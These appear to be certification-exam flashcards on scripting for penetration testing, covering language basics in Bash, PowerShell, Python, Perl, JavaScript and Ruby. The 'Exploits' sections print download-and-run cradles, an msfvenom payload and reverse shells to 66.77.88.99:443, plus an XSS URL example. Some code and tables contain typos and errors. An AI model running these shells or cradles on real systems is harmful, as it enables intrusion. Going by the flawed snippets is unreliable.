Chapter 12: Scripting for Penetration Testing Flashcards
Six Languages on Test
- Bash
- PowerShell
- Ruby
- Python
- Perl
- JavaScript
PowerShell Restrictions
- Restricted: Default ps1 execution policy that blocks all use of scripts
- AllSigned: Requires any ps1 script to be signed by a trusted publisher
- RemoteSigned: Allows execution of any ps1 script that you write on the local machine, but requires scripts downloaded from internet to be signed by a trusted publisher
- Unrestricted: Allows exeuciton of any ps1 script but prompts you to confirm before you run one from the internet
- Bypass: Allows execution of any ps1 script with no warning for anything
Percent Encoding
- 00: null
- 20: space
- 21: !
- 22: “
- 23: #
- 24: $
- 25: %
- 26: &
- 27: ‘
- 28: (
- 29: )
- 2A: *
- B: +
- C: ,
- D: -
- E: .
- F: /
- 3A: :
- B: ;
- C: <
- D: =
- E: >
- F: ?
- 5C: \
- 7B: {
- C: |
- D: }
Analyzing Exploit Code
Enumeration
* Seeks to identify all the instances of a resource in an environment
* System enum identifies all the systems on a network
* User/Account enum identifies all the individuals with access to the environment
* Domain enum seeks to identify all valid subdomains for a parent domain
Downloading Files
* Commonly done to update malicious code, obtain instructions, or import new tools
* Pay attention to these downloads since the location and nature of files downloaded may provide clues to the identity and motivation of the attackers
Launching Remote Access
* One primary goal for attackers
* Once they run exploit code, they want to create remote access capabilities that allow them to control the system
* Provides important clues to the nature and purpose of an attack
Automating Pentests
Scanning Systems
* Testers may create code that automatically performs port scans of an environment, processes the results, and then automatically triggers next steps based on the results
* EX: If port scan indicates that a web server accepts HTTPS on port 443, a follow up scan might enum the SSL/TLS ciphers supported by the server and produce a report for review
Configuration Analysis of Target Systems
* Automated code can probe the configuration of a target system and produce a report that helps ID next steps
Modifying of IP Addresses in Routine Activities
* Allows the rapid application of techniques to many different systems in an iterative fashion
* EX: Cycle through IPs in a for loop
HTTP Method
A set of request methods to indicate the desired action to be performed for a given resource
A request contains a method, a resource, a version number, the header, and the body of the request
GET
* The principal method used with HTTP and is used to retrieve a resource
POST
* Used to send data to the server for processing by the requested resource
PUT
* Creates or replaces the requested resource
DELETE
* Used to remove
HEAD
* Retrieve the headers for a resource only and igonres the body
* Often used by pentesters to banner grab information about the server and page, like the title of the page
NOTE
* Data submitted via a URL is delimited by the ? character
HTTP Response Codes
- 200 = Successful GET or POST request
- 201 = Successful PUT request to create a resource
- 3xx = Redirect from the server
- 4xx = Client request error
- 400 = Request could not be parsed by server
- 401 = Request did not supply auth creds
- 403 = Request did not have sufficient permissions
- 404 = Non-existent resource
- 5xx = Server side error
- 500 = General error on server side app
- 502 = Bad gateway when server is acting as a proxy
- 503 = Overload, service unavailability
- 504 = Gateway timeout
Example URL Analysis
hxxp://diontraining[.]com/upload.php?post=%3Cscript%3E%27http%3A%2F%2Fabc123.com%2Frat%2Ejs
hxxp://diontraining[.]com/upload.php?post=
* The website we’re going to
* The file on that website
* The action we’re going to do—POST
* Everything after the - is what we POST
%3Cscript%3E
* < script >
%2F%2Fabc123.com%2Frat%2Ejs
* ‘hxx://abc123[.]com/rat.js (defanged)
Putting It Together
* Go to diontraining dot com
* Access the file upload.php
* POST that file (upload)
* Send it to this website address
* Link to rat.js
* Trying to send a JS file to the site
* If it was vulnerable, malicious code is uploaded
Scripting Languages
Bash
A scripting language and command shell for Unix-like systems that’s default in Linux and macOS, and it supports
* Loops
* Variables
* Conditional statements
* Functions
All bash scripting starts with the she bang and location of bash
* #!/bin/bash
PowerShell
A scripting language and command shell for Windows, and it supports
* Variables
* Loops
* Conditional statements
* Functions
* cmdlets (verb-noun syntax)
WMIC
Windows Management Instrumentation Command-Line
* Program used to reivew log files on a remote Windows machine
* You can call WMIC inside of PowerShell
Python and Ruby
Interpreted, high-level, general-purpose programming languages used heavily by cyber analysts and pentesters
Perl
Much like Python and Ruby, this is a general purpose Unix scripting language used for text manipulation
* Very practical, easy to use, efficient
* Third party modules to use with code
JavaScript
Scripting language that allows devs to do fancy and complex things on a webpage
* Needed for web app pentesting
* React is front-end, Node is back-end
Programming Variables
Used to store values and data for different data types
1. Booleans
2. Integers
3. Float / Decimals / Real Numbers
4. Characters
5. Strings
Boolean
A form of data with only two possible values—true or false
* Depending on the programming language, this will say either True / False, T / F, or 1 / 0
Integer
A variable that stores an integer or whole number that may be positive or negative
Float / Decimal / Real Number
A variable that stores a decimal number
Character
A variable that can only store one ASCII character
String
A variable that can store multiple characters
Notes on Variables
* Variables can change throughout the execution of the program
* Constants are like variables, but they can’t be changed within the program once they’re defined
* We define variable values with = mostly, depending on programming languages
Loops
A type of scripting flow control that dictates in what order the code will be executed in a given program
For Loop
Used when the number of times to repeate a block of code is known
* EX: If you know you need to repeat the code 10 times you use a for loop
For i = 1 to 10
OUTPUT(i)
Endfor
While Loop
Used when the number of times to repeat a block of code isn’t known, and won’t stop until something happens
* Set up a condition and test for it at the beginning of the loop
i = 0
While i < 10
OUTPUT(i)
i = i + 1
Endwhile
Do Loop
Used when there’s an indefinite iteration that needs to happen and will only stop when a condition is met at the ed of the loop
* Testing the condition at the end of the loop vs the beginning of the loop
* You do this to ensure the code will always run at least one time
Do
OUTPUT(i)
i = i + 1
Until i > 10
Logic Controls
Used to provide conditions based on different logical tests
Boolean Operator
IF x = 1 THEN
OUTPUT “The statement was true.”
ELSE
OUTPUT “The statement was false.”
ENDIF
Arithmetic Operator
IF balance < 10.00 THEN
OUTPUT “The account has insufficient funds.”
ELSE
OUTPUT “The account has at least $10.00”
ENDIF
String Operator
IF x = “Will” THEN
OUTPUT “The user was Will.”
ELSE
OUTPUT “The user was someone else.”
ENDIF
Combination Example
IF minutes > 120 THEN
OUTPUT “You have studied for 2 hours.”
ELSE IF minutes > 60 THEN
OUTPUT “You should continue to study for another hour.”
ELSE
OUTPUT “You need to study for at least 2 hours today.”
ENDIF
Combination Example Two
IF (minutes > 60 AND minutes < 120) THEN
OUTPUT “You have between 60 and 120 minutes completed.”
ELSE
OUTPUT “You have more than 120 minutes or less than 60 minutes completed.”
ENDIF
Data Structures
JSON
JavaScript Object Notation
* An open data file format and data exchange standard that uses human-readable text to store and transmit data objects
* Used by most modern programming languages when they need to send or receive data from different systems or servers
* The data is easily parsed and formatted to load into other variables, arrays, lists, dictionaries, etc
Key Value Pairs
Assigns some value to some type of title or key that might be used as a variable
* Left = key
* Right = value
* You’re assigning a value to a key that might be used as a variable some time later
* Strings get quote marks
* Boolean and integer don’t get quote marks
Array
A type of data structure that’s used to hold multiple values of the same type
name = [ first, middle, last ]
name = [ “William”, “Joseph”, “Schmidt” ]
name [ 1 ] => Joseph
- Remember, computers count 0, 1, 2 not 1, 2, 3
- When you set an array, you set the value as a list with commas in between each value
- Getting data out you just use brackets with the places in the array
Dictionary
An array of key value pairs
phonebook = {“Will”:”111-1111”, “Charlie”:”222-2222”, “Ross”:”444-4444”}
phonebook{“Will”} = > 111-1111
CSV
Comma separated value, normally stored in a text unlimited format using commas to separate each value
* Each line is considered its own record, almost like a flat databse
* You can read or write to the files form many different programs like Excel and logging apps
* Great way to send and receive data across multiple systems because almost every app supports CSV import or export capabilities
* Biggest limitation is that everything is separated by commas, so you have to escape the comman when parsing data
FIRST, LAST, PHONE
Will, Schmidt, 111-1111
Charlie, Hersman, 222-2222
Ross, Cody, 333-3333
List
A type of data structure that can hold multiple values of different data types in a sequential manner
* Every element on a list is called an index
* Index values start at 0 and goes up to the last element, which is called the positive index
* Some languages will let you negative index from the last items all the way up to the first
my_list = [ 1, 2, 3, “example”, 3.14 ]
* Each is called like you would with an array
Tree
A non-linear data structure that is used to create a hierarchy
* The root is the baseline from which all the other nodes are going to originate from
* All nodes are considered data points available to us
* Root –> Child x however many –> Leaf (end node)
Object Oriented Programming
A programming paradigm based on the concept of “objects”, which can contain data (fields) and code (procedures)
* Most modern programming languages are object-oriented (but not Bash)
Functions
A block of code that is given a special name which can be called to perform the code within it
* Allows programs to be modular that can be reused across programs by calling functions
def area (radius):
return radius
circle _ area = 3.14 * radius * radius
display _ output = ‘The area of the circle with a radius of’ + radius + ‘is’ + circle_area
print(display _ output)
* Any time you want to call this function in any program, you can just say area (radius)
Procedure
Can be anything such as a function, method, routine, or subroutines, that take input, generate output, and manipluate data
* Procedures are essentially functions, but they’re slightly higher groups and can contain multiple functions within them
Class
The definition for the data format and the available procedures for a given type or class of object
* A way to group other objects
* User-defined prototype from which other objects can be created
Library
Takes and places pieces of code into reusable areas
* Allow us to take created code and put them into reusable areas
* Reference libraries to load the code into the script for you
* External collection of different classes, functions, and procedures that can be reused
Exploits to Download Files
PowerShell Download and Run a Script
powershell.exe -c “IEX((New-Object System.Net.WebClient).DownloadString
(‘hxxps://malware[.]com/badstuff.ps1’))”
* Opens web client and downloads the results of the string (URL)
PowerShell Download a File
powershell.exe -c “(New-Object System.Net.WebClient).DownloadFile(“hxxps://malware[.]com/badstuff.zip”, “C:\Windows\Temp\downloaded.zip”)”
* Reaching out to the server and downloading the zip
* Saving it on the local Windows temp directory and naming it
Python Download a File
import requests
url = ‘hxxps://malware[.]com/badstuff.zip’
r = requests.get(url, allow_redirects=True)
open(‘downloaded.zip’, ‘wb’).write(r.content)
* Importing library
* Setting variable for URL to download from
* Making request to URL
* If redirect in place, follow it
* Open file you want
* Save it to the r.content directory
* Open local file and write all contents from r to remote URL
EXAM NOTES
* If script is trying to grab a file, this is a file download script
* That’s the answer
* This is downloading a file to stage further exploits
Exploits for Remote Access
PowerShell Remote Access Payload
msfvenom -p cmd/windows/reverse_powershell
lhost=66.77.88.99 lport=443 > script.ps1
* Outputting results of the msfvenom command into a ps1 script
* Once you have the script, put it on web server or something
* Then use download exploit to get user to download
* Gives you full payload for reverse PowerShell
PowerShell LOTL Reverse Shell
$client = New-Object System.Net.Sockets.TCPClient(“66.77.88.99”, 443);
$stream = $client.GetStream();
[ byte[] ]$bytes = 0..65535|%{0};
while(($i = $stream.Read)$bytes, 0, $bytes.Length)) -ne 0){;
$data - (New-Object - TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$Sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + “PS” +(pwd).Path + “> “;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Bash Reverse Shell
bash -i >% /dev/tcp/66.77.88.99/443 0>&1
* Interactive bash shell on a Linux system
* Redirect std out and and std err to device using 443 over TCP
* Redirect standard input back to this sell for full two way comms
Python Reverse Shell
export RHOST=”66.77.88.99”;
export RPORT=443;
python -c ‘import socket,os,pty;
s=socket.socket();
s.connect((os.getenv(“RHOST”),int(os.getenv(“RPORT”))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn(“/bin/sh”)’
* Should be sent as one line
Ruby Linux Reverse Shell
ruby -rsocket -e’f=TCPSocket.open(“66.77.88.99”, 443).to_i;
exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”, f,f,f)’
* Sent as one line
Ruby Windows Reverse Shell
ruby -rsocket -e ‘c=TCPSocket.new(“66.77.88.99”, 443);
while(cmd-c.gets);IO,popen(cmd, “r”){|io|c.print io.read}end’
EXAM NOTES
* Look for anything that says TCP, UDP, or socket
* Anything that has to do with networking is most likely going to be some sort of remote access tool
* You’re trying to establish a connection or create two way comms
* Anything with /bin/sh or cmd.exe or ps.exe or powershell.exe indicates the attempt to launch a shell on the system
Exploits for Enumerating Users
PowerShell List All Users In Domain
Import-Module ActiveDirectory;
Get-ADUser -Identity USERNAME -properties (asterisk wildcard)
* Returns list of all AD users in the given domain you’re in
Import-Module ActiveDirectory;
Get-ADPrincipalGroupMembership USERNAME | select Administrator
* Shows all users in admin group
Bash List All Users On System
cat /etc/passwd
* Messy output though, use awk to clean it up
awk -F’:’ ‘{ print $1}’ /etc/passwd
Bash List All Logged In Users
who | awk ‘{print $1}’ | sort | uniqu | tr ‘\n’ ‘ ‘
Python List Groups for Users
#!/usr/bin/python
def read _ and _ parse(filename):
–#Reads and parses lines from /etc/passwd and /etc/group. Takes filename (a string with full path to filename) as input
data = [ ]
with open(filename, “r”) as f:
for line in f.readlines():
data.appending(line.split(“:”)[0])
data.sort()
for item in data:
print(“- “ + item)
read _ and _ parse(“/etc/group”)
read _ and _ parse(“/etc/passwd”)
EXAM NOTES
* Look for things like /etc/group, /etc/passwd for Linux enumeration
* For Windows, look for things interacting with AD
Exploits for Enumerating Assets
PowerShell List All DC
Import-Module ActiveDirectory;
Get-ADDomainController -Filter * | Select-Object name, domain
PowreShell get Info On Computers/Hosts
Import-Module ActiveDirectory;
Get-ADComputer -Filter {Name -Like “< hostname >”} -Property * |
Format-Table Name,ipv4address,OperatingSystem,
OperatingSystemServicePack,LastLogonDate -Wrap -Auto
Bash Asset Enumeration
hostname; uname -a; arp; route; dpkg
Python Identify Hosts On Subnet
import socket
def connect(hostname, port):
sock = socket.socket(socket.AF _ INET, socket,SOCK _ STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((hostname, port))
sock.close()
return result == 0
for i in range(0,255):
res = connect(“192.168.1”+str(i), 80)
if res:
print(“Device found at: “, “192.168.1.”+str(i) + “:”+str(80))
EXAM NOTES
* Think about servers, hosts, and computers
* Looking for hostnames
* Looking for what things are on the network in given places and what their function is
* Look at specific ports to identify function
* Look at information about a computer host by connecting to AD
Coding in Bash
Bash is not an object oriented programming language
* Bash will always start with she bang #!/bin/bash
Variables
You can declare a variable in Bash by using the variable name = thing you want it to be
* variable=value
* CustomerName=Will
* $CustomerName
You can also type your variable
* declare option VariableName=value
* Number: declare -i PhoneNumber=1111111
* Constant, read only: declare -r Pi-3.14
Arrays
You give your array a name just like variables
* tempArray=(value1, value2, value3)
* tempArray[position]
* $tempArray[1]=>value2
Named and Associative Arrays
Works almost like a table inside a database, and any data stored in the array is not going to be based on names
* You have to declare this type of array with -A
* declare -A PhoneBook
* PhoneBook[name]=”Will”
* PhoneBook[number]=”111-1111”
* ${PhoneBook[name]}
* ${PhoneBook[number]}
Arithmetic Comparisons
Normally we use text to signify it vs using the actual symbols (less than, greater than, etc)
* if [ “$a” -eq “$b” ]
* if [ “$a” -ne “$b” ]
* Greater than: -gt
* Greater than or equal to: -ge
* Less than: -lt
* Less than or equal to: -le
In newer versions of bash you can use the symbols, but you have to use double parentheses around the thing you’re testing
* ((“$a” < “$b”))
* Less than: <
* Less than or equal to: <=
* Greater than: >
* Greater than or equal to: >=
String Comparisons
We can also compare strings, like if two strings are equal, with the “if” comand and = symbol
* if [ “$a” = “$b” ]
* if [ “$a” == “$b” ]
* Not equal: !=
Less than or greater than is done based on ASCII order. For example, if we compare Will to Schmidt, Will is greater than Schmidt because W comes after S in the ASCII alphabet
* if [ “$a” < “$b” ]—have to use the escape character in single bracker
* if [[ “$a” < “$b” ]]—without escape character, double bracket
* Greater than: same format
Logical Comparisons
if [condition]
then
do some command
fi
You can do something more complex with else if (elif):
if [< condition >]
then
CODE HERE
elif [< condition >]
then
CODE HERE
else
CODE HERE
fi
Loops
For Do Done
Performs a set of commands for each item in a list
for var in < list >
do
< commands >
done
for value in {1..5}
do
echo $value
done
echo “All done.”
While Do Done
Performs a set of commands while a test is true
while [< some test >]
do
< commands >
done
counter=1
while [ $counter -lt 10 ]
do
echo $counter
((counter++))
done
echo “All done.”
Until Do Done
Performs a set of commands until a test is true
until [ < some test > ]
do
< commands >
done
counter=1
until [ $counter -gt 5 ]
do
echo $counter
((counter++))
done
echo “All done.”
String Operations
The commands used to manipulate data in string format
testString=”Test String”
echo $testString
“Test String”
echo ${testString:2:4}
st S
Inputting and Outputting Data
Taking input from a user and outputting it on the monitor
* echo is the easiest way to send back to monitor
echo “Please enter your name:”
read UserName
echo “Hello $UserName!”
Read or Write Data to Files
Create a variable name that acts as the file
* TempFile=$(< filename)
TempFile=$(< test.txt)
echo “$TempFile”
* This sends all of the contents of text.txt into the temporary file
* Displays all contents of the file
- The < means input
- The > means output and overwrites
- The > > appends
Coding in PowerShell
Comments
You can comment out code with the # symbol
* You can do segments by putting <# COMMENT #>
Variables
All variables in PS start with a $
* $CustomerName = Will
You can also declare types
* [int]$AnswerNumber = 42
* [string]$AnswerString = “TEXT”
Constants are declared with read only
* Set-Variable Pi -Option ReadOnly -Value 3.14159
Arrays
Allows for the storage of multiple values and then reference them from a single name
* Essentially this is a list of variables
$tempArray = @()
* Creates a blank array ready to store data
$tempArray = @(‘Will’, ‘Charlie’, ‘Ross’, ‘JD’)
* Creates array and immediately fills it with data
$tempArray[position]
* Gets data out of array
Named and Associative Arrays
$PhoneBook = @{}
$PhoneBook.name = ‘Will’
$PhoneBook.number = ‘111-1111’
$PhoneBook = @{‘name’=’Will’, ‘number’=’111-1111’}
* Same thing, but all at once
$PhoneBook.number
* Calls value of number from array
Comparisons
Just like Bash, we use the letters—same ones as in Bash too
* Equal: -eq
* Not equal: -ne
* Great than: -gt
* Greater than or equal: -ge
* Less than: -lt
* Less than or equal: -le
$a -eq $b
* To use, it’s variable – comparison – variable
* If they’re equal, you get back true, if not false
Conditional Statemsnts
When we use if, we don’t have to type out the word “then”
* Everything in the { } is the “then” we want to operate
if (condition) {
COMMAND
}
if (condition)
{
CODE
}
else
{
CODE
}
if (condition)
{
CODE
}
elseif (condition)
{
CODE
}
else
{
CODE
}
For Loop
Perforns a set of commands for each item in a list
for (< Init >; < Condition >; < Repeat >)
{
< Statement list >
}
for ($i=1; $i -lt 5; $i++)
{
Write-Host $i
}
Wite-Host “All done.”
Do While
Performs a set of commands while a test is true, which always runs the commands at least once and tests
Do
{
COMMANDS
}
While ($this -eq $that)
$i = 1
Do
{
Wite-Host $i $i++
}
While ($i -lt 10)
White-Host “All done.”
Until Do
Performs a set of commands until a test is true
Do
{
COMMANDS
}
Until ($this -eq $that)
$i = 1
Do
{
Wite-Host $i $i++
}
Until ($i -gt 5)
Write-Host “All done.”
String Operations
Set values of variable to a string by using quote marks
* $tesString = “Test String”
* Write-Host $testString
* Write-Host $testSTring + “2” = Test String2
Substring can pull pieces of a string
* $testString = “Test String”
* $testString.Substring(2,4)
* Output = st S
Input and Output
Putting something out on the screen
* Write-Host “Please enter your name”
* Read-Host $UserName
* Write-Host “Hello “ + UserName + “!”
Reading and Writing to File
$TempFile = Get-Content - Path C:\test.txt
* Display contents of file: Write-Host $TempFile
* Redirect with > and»_space; just like Bash
Write-Host “This is the beginning of a new script log file” > script.log
.\enumerate.ps1»_space; script.log
EXAM NOTES
* PowerShell talks a lot about Windows
* Get-this, Select-that, etc—this is very common in PowerShell as it uses words that have two or three or four words strung together with dashes as part of their operation
* cmdlets are dead giveaway too
Coding in Python
For all coding in Python, indentation is crucial
Variables
variable = value
Price = 10
Vendor = “CompTIA”
* No quotes treats as integer
* Quotes treats as string
You can specify variables as well
* Price = int(42)
* Price = float(42.00)
* Price = str(“TEXT”)
Call variables by just using the variable name
* Constnats are designated by all uppercase letters, but they can change because they’re ultimately variables still
Arrays
tempArray = []
tempArray = [value1, value2, value3]
nameArray = [“Will”, “Charlie”, “JD”, “Ross”]
nameArray[0] => Will
Dictionary
Other languages use named and associated arrays, but Python uses dictionary
PhoneBook = {}
PhoneBook={‘name’=’Will’, ‘number’=’111-1111’}
PhoneBook[“name”] => Will
Comparisons
Mathematical symbols
* Equal: ==
* Not equal: != or <>
* Greater than: >
* Greater than or euqal to: >=
* Less than: <
* Les than or equal to: <=
Conditionals
if (condition):
then do something
if a == b:
print(a)
if (condition):
then do something
elif (condition):
then do something else
else:
do this instead
For Loops
for x in list:
do something
CertificationList = [A, Network, Security, CySA, Pentest, CASP]
for CertificationName in CertificationList:
print(CertificationName)
While Loops
i = 1
while i < 6:
print(i)
i = i +1
print (‘All done’)
Until Loops
These don’t exist in Python, but you can achieve similar by reversing the while loop’s logic
i = 1
while i > 5:
print(i)
i = i +1
print (‘All done’)
String Operations
testString = “TEXT”
print(testString)
print(testString, “in Python” + “today”)
MyName = “Will Schmidt”
MyName[0] = W
MyName[0:4] = Will
MyName[6:8] = chm
MyName[-2] = d
MyName[6:-2] = chmi
MyName[-4:-2] = mi
Input and Output
userName = input(“Enter your name:”)
print(“Hello” + userName)
Files
tempFile = open(‘test.txt’, ‘w’)
* w = write, which will overwrite any existing content
* a = append
* r = read
print(tempFile.read())
print(tempFile.read(50))
* Read first 50 characters in the file
print(tempFile.read(-5))
* Reads last 5 lines
EXAM NOTES
* Variables without $ or underscore indicate not PowerShell or Ruby
* Python is the only language that uses the print command
Coding in Perl
Commonly used in Linux and Windows web server to run dynamic code
* As a pentester, you’ll likely write exploit code in Perl to upload to a server that gives shell access when run
* Always starts with #!/bin/perl
* All commands end with ;
Variables
All variables start with a $
* $variable = value;
* $CustomerName = Will;
* $CustomerName
No declaration of types in Perl
* By default it will figure it out
* But you can set constants in Perl
use constant NAME (capitals) => < value >;
use constant PI => 3.14159;
Arrays
Identified with the @ symbol
@tempArray = (value1, value2, value3);
@ages = (18, 21, 25, 30);
@names = (“Will”, “Charlie”, “Ross”, “JD”);
$names[1] => Will
Named and Associative Arrays
Uses a % in front of the name
%people = (“Will”, 21, “Charlie”, 25, “Ross”, 50);
* Three key pairs
* You can add more
$people{“JD”} = 35;
$people{“Will”} => 21
Numeric Comparisons
* Equal to: ==
* Not equal: !=
* Greater than: >
* Greater than or equal: >=
* Less than: <
* Less than or equal: <=
String Comparisons
* Equal to: -eq
* Not equal: -ne
* Greater than: -gt
* Greater than or equal: -ge
* Less than: -lt
* Less than or equal: -le
Logical Operators
You can combine things together with logical AND or ORi in any comparison
* && = AND
* || = OR
Conditional Statements
if(condition) {
COMMAND
}
if($a < 20) {
printf(“a is less than 20\n”);
}
if(condition) {
COMMAND if condition is true
} else {
COMMAND if condition is false
}
if($a < 20) {
printf(“a is less than 20”);
} else {
printf(“a is greater than 20”);
}
if(condition1) {
COMMAND to execute if condition1 is true
} elsif(condition2) {
COMMAND to execute if condition2 is true
} else {
COMMAND to execute if the other conditions aren’t true
}
if($a == 100) {
printf(“a has a value which is 100”);
} elseif($a < 50) {
printf(“a has a value less than 50”);
} else {
printf(“a has a value greater than 50 and it isn’t 100”);
}
For Loops
for (init; condition; increment) {
statement(s);
}
for ($a = 1; $a < 6; %a = $a + 1) {
printf(“$a”);
}
While Loop
while(condition) {
commands;
}
$a = 1;
while($a < 10) {
printf(“$a);
$a = $a + 1;
}
Until Do Loop
until(condition) {
commands;
}
$a = 1;
until($a > 5) {
print(“$a”);
$a = $a + 1;
}
String Operations
$testString = “Test String”
printf($testString);
You can take portions of the string like with other languages
* This is best accomplished by creating a new variable and then set the results of a sub string command into it
* You can also count negatively like in Python
$sub _ teststring1 = substr($testString, 1);
$sub _ teststring2 = substr($testString, 1,5);
printf($sub_teststring1);
= e
printf($sub_teststring2);
= est S
Input
printf(“Please enter your name:”);
$string = < STDIN >;
printf(“You entered: $string”);
Read and Write to Files
open(DATA1, “< read.log”);
* The < is read only mode
open(DATA2, “>write.log”);
* The > is write to file
* The»_space; is append, like all others
To print to screen you have to use a while loop
while (< DATA1 >) {
printf(“$ _ “);
}
while (< DATA1 >) {
print DATA2 $ _ ;
}
close(DATA1);
close(DATA2);
* Writes every line from DATA1 into DATA2
* Closes both files so they don’t get read or written to
EXAM NOTES
* Useful for going against web apps or web app servers
* They’ll give up to 10 lines of code tops, and you’ll have to identify what the function of the code is
* Remember that Perl is Linux-based, so keep your eyes open for familiar Linux commands
Coding In JavaScript
As a pentester, you’re going to use JS most when conducting XSS attacks or finding information for info disclosures
Create New File
main.js
* Whatever you put in is JS code
< script src=”scripts\main.js”> < / script>
* Calls the code in the script
< script > code < / script >
* You can include code directly between HTML brackets if it’s short
To comment lines
* //
* / * will and then * / will block comment
Variables
let variable = value;
let CustomerName = ‘Will’;
CustomerName = “Schmidt”;
Constants
const PI = 3.14159
* All caps are usally reserved for constants
Arrays
let tempArray = [value1, value2, value3);
let listOfNames = [‘Will’, ‘Charlie’, ‘Ross’, ‘JD’];
listOfNames[0] = Will
Named / Associative Arrays
These don’t exist in JavaScript, but you can accomplish the same things by using objects with variables
var myPhoneBook = {};
var myPhoneBook = {Will: 111-1111, Charlie: 222-2222};
myPhoneBook.Will returns the value 111-1111
myPhoneBook.Will = 222-3333 overwrites current number
myPhoneBook[“Will”] = 111-1111
Comparisons
* Equal: =
* Not equal: !=
* Greater than: >
* Greater then or equal:>=
* Less than: <
* Less than or equal: <=
Conditional Statements
if (condition) {
do something;
} else if (condition) {
do somethign else;
} else {
do something else;
}
For Loop
for (init; condition; increment) {
COMMANDS;
}
for (let i=0; i < 6; i++) {
textString += i;
}
textString += “All done”;
alert(textString);
* The += appends, where = would overwrite
While Loop
while (condition) {
COMMANDS;
}
while (i < 10) {
textString += i
I++;
}
textString += “All done”;
alert(textString);
Do While Loop
do {
COMMANDS;
}
while (condition);
counter=1;
do {
textString += counter;
counter++;
}
while (counter <= 5)
textString += “All done”;
alert(textString);
String Operations
let text = “Dion Training”;
text.substring(start position, end position)
let result = text.substring(1, 4);
ion
* If you use a negative number it starts at the 0 position
* If you want to count backwards you have to do it differently
let result = text.substring(text.length - 3,5);
Input and Output
var customerName = prompt(“Please enter your name”);
if (customerName!= null) {
docment.getElementById(“welcome”).innerHTML = “Hello” + customerName + “, How are you today?”;
}
* document.getElementById
* This is the document object model in a browser
* Starts with a placeholder of welcome
* After they enter name, if not null, replaces it with the message
Other display options
* HTML element—innerHTML
* HTML output—document.write()
* Alert box—window.alert()
* Browser console—console.log()
Reading and Writing
This cannot be done since JS is being run in a browser, but it can be done with the Node.js backend framework
* Node is a backend JS framework used to write automations
EXAM NOTES
* XSS is the common JS thing here
* Setting up alerts to pop up on the screen
* Doing things inside DOM using the document object
* Read OWASP top 10 to get familiar with what JS looks like in exploits
Coding in Ruby
Important for pentesters because we like to rely on Metasploit, and all exploits in it are written in Ruby
* Always starts with #!/usr/bin/ruby
Variables
Many different types including
* Global: $
* Local: _ or lowercase
* Instance: @
* Class: @@
Constants
Ruby treats constants like variables, because it doesn’t use variables, but all caps signifies constants to other devs
Arrays
You have to tell it how large the array is to set aside the proper amount of memory forit
tempArray = Array.new (20)
* Creates an array with 20 locations for you to store things in
* tempArray = [value1, value2, value3]
* Begins placing values into the 20 slots of the array
* tempArray.at(n) removes information from the n position
* tempArray.at(1) => value2
Named and Associative Arrays
phoneBook = [ [ ‘Will’, ‘111-1111’], [ ‘Charlie’, ‘222-2222’] ]
phoneBook.assoc(‘Will’) => [ ‘Will’, ‘111-1111’ ]
Comparisons
* Equal: ==
* Not equal: !=
* Greater than: >
* Greater than or equal: >=
* Less than: <
* Less than or equal: <=
* Testing equality in case statements instea of if statements uses ===
Conditional Statements
if condition
command
end
if a < b
puts a
end
if condition
command
else
do something else
end
if a < b
puts “a is less than b”
else
puts “b is greater than or equal to a”
end
if condition
command
elseif condition
command
else
command
end
if a < b
puts “a is less than b”
else if a > b
puts “a is greater than b”
else
puts “a is equal to b”
end
For Loop
for var in list
do something
end
for x in {1..5}
puts x
end
While Loop
while condition
command
end
counter=1
while counter < 10
puts counter
counter = counter +1
end
Until Loop
until condition
command
end
counter=1
until counter > 5
puts counter
counter = counter +1
end
Substring Operations
testString = “Test String”
puts testString
Test String
puts testString[2..5]
st S
* Negative numbers will count from the end of the string
Input and Output
puts and print will output
* puts outputs a string with a new line
* print will use the same line unless you manually specific new line
puts “Please enter your name:”
username = gets
puts “Hello” + username
* gets accepts input from user
Files
Have to always open files in Ruby
f = File.open(‘commands.log’, ‘w’)
f.puts “This is a log of the commands I ran:”
f.close
* Overwrite and append is same as all > and»_space;
while line = f.gets do
puts line
end
f.close
* Reads file, puts all lines on screen, ends
EXAM NOTES
* Understand the big examples